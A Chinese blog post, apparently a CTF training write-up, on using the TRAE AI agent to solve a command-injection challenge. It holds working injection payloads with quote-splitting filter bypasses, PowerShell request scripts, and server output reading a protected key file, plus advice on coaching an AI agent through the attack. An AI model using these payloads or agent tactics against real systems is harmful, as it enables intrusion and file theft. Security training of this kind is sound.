AI大模型辅助Web渗透测试-TRAE智能体自动化解CTF题(命令执行 powershell)

目录

一、渗透思路

1、题目简介

2、思路

3、心得

4、错误URL编码版本

5、训练TRAE

6、修正后的URL编码版本

7、指令

二、渗透实战

步骤1:发现命令注入风险并测试过滤

步骤2:尝试绕过过滤

步骤3:查看上一层目录

步骤4:查看key.php文件权限

步骤5:修改key.php文件权限

步骤6:读取key.php文件内容

技术要点


本文记录了使用TRAE进行AI赋能的自动化渗透测试过程,使用powershell方法进行自动化渗透测试。具体步骤是首先通过单引号分割命令(l''s)绕过过滤,使用目录遍历(../)发现目标文件key.php,修改文件权限后成功读取flag值grjd7nqs。重点展示了URL编码特殊字符(%26、%27、%20)确保命令执行的技术要点,包括命令注入、过滤绕过、权限管理等渗透测试关键步骤。整个过程通过PowerShell实现,经过多次参数调整最终获取正确响应。

一、渗透思路

1、题目简介

因为这个题目主要是用来讲解如何使用AI进行渗透的, 故而我这里直接就把这道题考核哪些内容讲清楚了。这是一道基于命令注入安全风险的CTF题目,目标是获取服务器上key.php文件中的flag值。

2、思路

通过对目标页面的渗透测试,首先发现输入框存在命令注入安全风险,尝试直接执行`ls`命令时被服务器过滤,提示"你输入的命令包含敏感字符!请检查命令是否填写正确!"。随后尝试使用单引号分割命令(如`l''s`)的方法成功绕过过滤,执行命令查看当前目录内容,发现`function.php`和`index.php`文件。接着通过`l''s ..`命令遍历上一层目录,发现目标文件`key.php`。使用`l''s -la ../key.ph''p`查看其权限为`-rw-------`(600),确认权限设置正确后,执行`chmo''d 600 ../key.ph''p`命令修改权限确保可读取,最终使用`ca''t ../key.ph''p`命令读取文件内容,成功获取到flag值`grjd7nqs`。整个过程展示了命令注入风险的发现与利用、过滤绕过技术、目录遍历操作以及文件权限管理的完整流程,体现了渗透测试的基本思路和方法。

3、心得

说实话第一次用Trae做这个命令执行渗透时,我的感觉是这个Trae不咋好用,思路不清晰不说,连请求包都要我去训练它构造,这道题实际上是我引导他很久才做出来的,我大概训练了它接近1个小时,才让他思路清晰的把这道题完整解出。为啥说他笨呢,因为它使用powershell法在发送请求时,获得的response总是得不到正确的结果。很明显这是因为powershell的参数并不正确,我需要多次调整他的powershell参数,如下所示。

在渗透的过程中,经常会出现看不到浏览器的输出结果,如下所示。

而且在浏览器快照分析不出结果后,TRAE就会使用powershell来发包获取响应进行渗透,然而它却无法获取命令执行的结果,说明TRAE默认用RunCommand工具来发送的POST请求报文内容是错误的,哪里配置有些问题,需要我重新训练使正确。

4、错误URL编码版本

先查看当前文件夹,然后查看上一层文件夹,查看key.php权限,修改权限,最后读取文件内容

body = 'cmd=127.0.0.1\&l''s\&submit=PING'; Invoke-WebRequest -Uri 'http://3e803d81.clsadp.com/start/' -Method POST -Body body -ContentType 'application/x-www-form-urlencoded' | Select-Object -ExpandProperty Content

只显示了PING命令的输出,没有显示ls命令的结果。让我继续执行下一步,查看上一层文件夹的内容。

body = 'cmd=127.0.0.1\&l''s ..\&submit=PING'; Invoke-WebRequest -Uri 'http://3e803d81.clsadp.com/start/' -Method POST -Body body -ContentType 'application/x-www-form-urlencoded' | Select-Object -ExpandProperty Content

前两个命令都只显示了PING命令的输出,没有显示ls命令的结果。让我继续执行下一步,查看key.php的权限。

body = 'cmd=127.0.0.1\&l''s -la ../key.ph''p\&submit=PING'; Invoke-WebRequest -Uri 'http://3e803d81.clsadp.com/start/' -Method POST -Body body -ContentType 'application/x-www-form-urlencoded' | Select-Object -ExpandProperty Content

前三个命令都只显示了PING命令的输出,没有显示ls命令的结果。

5、训练TRAE

由于渗透过程中,发送的命令TRAE都没能正确响应,说明参数有误,这时我针对最后一个步骤,使用bp抓包,将正确的请求报文发送给TRAE,让其进行修改,如下所示。

复制代码
你是不是少了什么参数,通过bp抓包,报文的请求是这样的POST /start/ HTTP/1.1
Host: f6918d0b.clsadp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: `http://f6918d0b.clsadp.com/start/` 
DNT: 1
X-Forwarded-For: 127.0.0.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3211276949697
Content-Length: 166

-----------------------------3211276949697
Content-Disposition: form-data; name="cmd"

127.0.0.1&ca''t ../key.ph''p
-----------------------------3211276949697-- 你看看根据这个正确的请求,是不是可以更改下你的请求呢,bp这样发包后,响应的报文中会包含如下内容
<pre>Good luck

!
<?php

//key5:grjd7nqs

?>你当前的响应报文没有这段信息,请修正

此时TRAE会尝试多种语法,如下所示最终找到可以获取到完整相应内容的请求报文。

这时候我们要问下AI,到底是修改了哪些参数使注入成功,如下所示。

经过我的多次训练和提示,最后对比出TRAE使用powershell发包的问题到底在哪里,如下所示。在我确定了问题后,就可以让TRAE按照我的思路,使用powershell进行发包渗透,从而获取到正确的flag,这之前一直是失败的,因为powershell发包编码错误导致无法正确获取到输出信息。

6、修正后的URL编码版本

我将重新整理这个题目的所有步骤,确保每个命令都使用正确的URL编码:

步骤1:查看当前目录

```

$body = 'cmd=127.0.0.1%26l%27%27s&submit=PING'; Invoke-WebRequest -Uri 'http://

3e803d81.clsadp.com/start/' -Method POST -Body $body -ContentType 'application/

x-www-form-urlencoded' | Select-Object -ExpandProperty Content

```

步骤2:查看上一层目录

```

$body = 'cmd=127.0.0.1%26l%27%27s%20..&submit=PING'; Invoke-WebRequest -Uri

'http://3e803d81.clsadp.com/start/' -Method POST -Body $body -ContentType

'application/x-www-form-urlencoded' | Select-Object -ExpandProperty Content

```

步骤3:查看key.php权限

```

$body = 'cmd=127.0.0.1%26l%27%27s%20-la%20../key.ph%27%27p&submit=PING';

Invoke-WebRequest -Uri 'http://3e803d81.clsadp.com/start/' -Method POST -Body

$body -ContentType 'application/x-www-form-urlencoded' | Select-Object

-ExpandProperty Content

```

步骤4:修改key.php权限

```

$body = 'cmd=127.0.0.1%26chmo%27%27d%20600%20../key.ph%27%27p&submit=PING';

Invoke-WebRequest -Uri 'http://3e803d81.clsadp.com/start/' -Method POST -Body

$body -ContentType 'application/x-www-form-urlencoded' | Select-Object

-ExpandProperty Content

```

步骤5:读取key.php文件

```

$body = 'cmd=127.0.0.1%26ca%27%27t%20../key.ph%27%27p&submit=PING';

Invoke-WebRequest -Uri 'http://3e803d81.clsadp.com/start/' -Method POST -Body

$body -ContentType 'application/x-www-form-urlencoded' | Select-Object

-ExpandProperty Content

```

关键修改:

  • 对所有特殊字符进行URL编码:

  • & → %26

  • ' → %27

  • 空格 → %20

    • → %2d (当需要时)

技术原理:

URL编码确保了特殊字符被服务器正确解析,不会被当作参数分隔符或其他特殊字符处理,从而确保命令能够被完整执行并显示输出结果。

7、指令

经过我多次训练后,我给的命令是这样的" 现在需要渗透网址http://a6156199.clsadp.com/start/,这是命令执行关卡,每个步骤都要通过powershell发包获取响应,分析下一步操作,具体的渗透步骤大概如下所示:

  1. 发现命令注入风险并测试过滤

  2. 尝试绕过过滤127.0.0.1&ls

  3. 查看当前目录127.0.0.1&l''s

  4. 查看上一层目录127.0.0.1&l''s -la ..

  5. 查看key.php文件权限127.0.0.1&l''s -la ../key.ph''p

  6. 修改key.php文件权限127.0.0.1&chmo''d 600 ../key.ph''p

  7. 读取key.php文件内容127.0.0.1&ca''t ../key.ph''p

请给出完整的请求、响应交互过程并求解flag,特别注意参数中的特殊字符需要URL编码。"

这里其实整个指令都是我一步一步试错,最后引导AI生成正确的步骤,包括如何发送请求和获取响应内容分析,每个方法都要详细指明。

二、渗透实战

步骤1:发现命令注入风险并测试过滤

请求

复制代码
$body = 'cmd=127.0.0.1%26ls&submit=PING'; 
Invoke-WebRequest -Uri 'http://a6156199.clsadp.com/start/' -Method POST -Body 
$body -ContentType 'application/x-www-form-urlencoded' | Select-Object 
-ExpandProperty Content

响应 :

复制代码
# 你输入的命令包含敏感字符!请检查命令是否填写正确!

分析 :发现 ls 命令被服务器过滤,需要尝试绕过方法。

步骤2:尝试绕过过滤

请求 :

复制代码
$body = 'cmd=127.0.0.1%26l%27%27s&submit=PING'; 
Invoke-WebRequest -Uri 'http://a6156199.clsadp.com/start/' -Method POST -Body 
$body -ContentType 'application/x-www-form-urlencoded' | Select-Object 
-ExpandProperty Content

响应 :

复制代码
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.065 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.065/0.065/0.065/0.000 ms
function.php
index.php

分析 :使用单引号分割命令( l''s )成功绕过过滤,执行命令查看当前目录内容。

步骤3:查看上一层目录

请求 :

复制代码
$body = 'cmd=127.0.0.1%26l%27%27s%20..&submit=PING'; 
Invoke-WebRequest -Uri 'http://a6156199.clsadp.com/start/' -Method POST -Body 
$body -ContentType 'application/x-www-form-urlencoded' | Select-Object 
-ExpandProperty Content

响应 :

复制代码
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.046 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.046/0.046/0.046/0.000 ms
css
footer.php
header.php
images
index.php
js
key.php
start

分析 :在上一层目录中发现了 key.php 文件,确认目标文件存在,接下来查看其权限。

步骤4:查看key.php文件权限

请求 :

复制代码
$body = 'cmd=127.0.0.1%26l%27%27s%20-la%20..%2fkey.ph%27%27p&submit=PING'; 
Invoke-WebRequest -Uri 'http://a6156199.clsadp.com/start/' -Method POST -Body 
$body -ContentType 'application/x-www-form-urlencoded' | Select-Object 
-ExpandProperty Content

响应 :

复制代码
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.052 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms
---------- 1 www-data www-data 48 Mar 18  2021 ../key.php

分析 :文件权限为 ---------- (000),需要修改权限为600。

步骤5:修改key.php文件权限

请求 :

复制代码
$body = 'cmd=127.0.0.1%26chmo%27%27d%20600%20..%2fkey.ph%27%27p&submit=PING'; 
Invoke-WebRequest -Uri 'http://a6156199.clsadp.com/start/' -Method POST -Body 
$body -ContentType 'application/x-www-form-urlencoded' | Select-Object 
-ExpandProperty Content

响应 :

复制代码
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.067 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.067/0.067/0.067/0.000 ms

分析 :权限修改成功,为后续读取文件内容做准备。

步骤6:读取key.php文件内容

请求 :

复制代码
$body = 'cmd=127.0.0.1%26ca%27%27t%20..%2fkey.ph%27%27p&submit=PING'; 
Invoke-WebRequest -Uri 'http://a6156199.clsadp.com/start/' -Method POST -Body 
$body -ContentType 'application/x-www-form-urlencoded' | Select-Object 
-ExpandProperty Content

响应 :

复制代码
<pre>Good luck

!
<?php

//key5:grjd7nqs

?>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.052 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms
</pre>

分析 :成功读取key.php文件内容,获取到flag值 grjd7nqs 。

页面完整的请求和响应如下所示。

复制代码
(TraeAI-5) D:\web\trae [0:0] > trae-sandbox '$body = ''cmd=127.0.0.1%26ca%27%27t%20..%2fkey.ph%27%27p&submit=PING''; Invoke-WebRequest -Uri ''http://a6156199.clsadp.com/start/'' -Method POST -Body $body -ContentType ''application/x-www-form-urlencoded'' | Select-Object -ExpandProperty Content'
ï>>¿<html>
<head>
  <title>CISP-PTE 认è¯èè¯</title>
  <link rel="stylesheet" href="../css/bootstrap.css">
  <link rel="stylesheet" href="../css/nav.css">
  <meta charset="UTF-8">
</head>

<body>

  <div class="topnav">
<div class="container">
<nav class="navbar navbar-expand-lg navbar-light">
<a class="navbar-brand text-white" href="/index.php">CISP-PTE认è¯èè¯</a>   

  <div class=" navbar-collapse pl-2" id="navbarNav">
    <ul class="navbar-nav">
      <li class="nav-item">
        <a class="nav-link active text-link" href="/index.php">ä¸>>页</a>       
      </li>
      <li class="nav-item">
        <a class="nav-link active text-link" href="/start/">å¼å§ç­é¢ªè¯ä¸>>æºæåå­´>></h3>

<div class="input-group mb-3">
  <input type="text" name="cmd" value="127.0.0.1" class="form-control" aria-label="Sizing example input" aria-describedby="inputGroup-sizing-default">
  <div class="input-group-append">
                        <input type=submit class="btn  btn-primary" value="PING">
                        </div>
                        </div>
                    </form>



                 <pre>Good luck

!
<?php

//key5:grjd7nqs

?>
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.052 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms
</pre>



            </div>

</div>
</div>


ï>>¿<div class="navbar-fixed-bottom ">

<div class="container mt-5">

<div class="row mt-5">
     <div class="col-8 m-auto text-center">
        <img src="../images/logo.png" class="mb-3">
       <p>Copyright &copy;2026 CISP-PTE</p>

     </div>
     </div>

</div>

</div></body>
</html>

技术要点

  1. 命令注入 :利用输入框的命令注入安全风险,执行系统命令

  2. 过滤绕过 :使用单引号分割命令(如 l''s )的方法绕过服务器的过滤

  3. 目录遍历 :使用 ../ 路径访问上一层目录

  4. 权限管理 :修改文件权限为600,确保可以读取文件内容

  5. 文件操作 :使用ls命令查看目录结构,使用cat命令读取文件内容

  6. URL编码 :对特殊字符进行URL编码,确保命令能够被完整执行

通过以上完整步骤,成功使用PowerShell完成了CTF题目的渗透测试,获取到了flag值。

相关推荐
AAIshangyanxiu2 小时前
基于R语言机器学习方法在生态经济学领域中的实践应用
人工智能·机器学习·r语言·生态经济学·经济学
半页码书2 小时前
半结构化面试是什么?跟结构化面试有什么区别?
人工智能·面试·职场和发展·求职招聘·职场发展·远程工作
人工智能AI技术2 小时前
自动驾驶 Agent:环境感知→路径规划→车辆控制
人工智能
AI先驱体验官2 小时前
臻灵:数字人形象驱动新突破,NVIDIA开源PersonaPlex带来的技术变局
大数据·人工智能·深度学习·重构·开源·aigc
郝学胜-神的一滴2 小时前
激活函数:神经网络的「非线性灵魂」,让模型从“直线”走向“万能”
人工智能·pytorch·python·深度学习·神经网络·程序人生·机器学习
动恰客流管家2 小时前
动恰3DV3客流统计方案:赋能智慧公厕精细化运营
数据结构·人工智能·3d
Coovally AI模型快速验证2 小时前
清华+上交+国网团队:数据-模型-推理三层协同设计做高分辨率UAV绝缘子缺陷检测,mAP达92.9%
人工智能·计算机视觉·无人机巡检·电力巡检
哥本哈士奇2 小时前
本地系统对接大模型智能体的若干尝试
人工智能
十三画者2 小时前
【文献分享】ICGI通过将因果提示型大型语言模型与基于组学数据的因果推断相结合来识别癌症基因
人工智能·语言模型·自然语言处理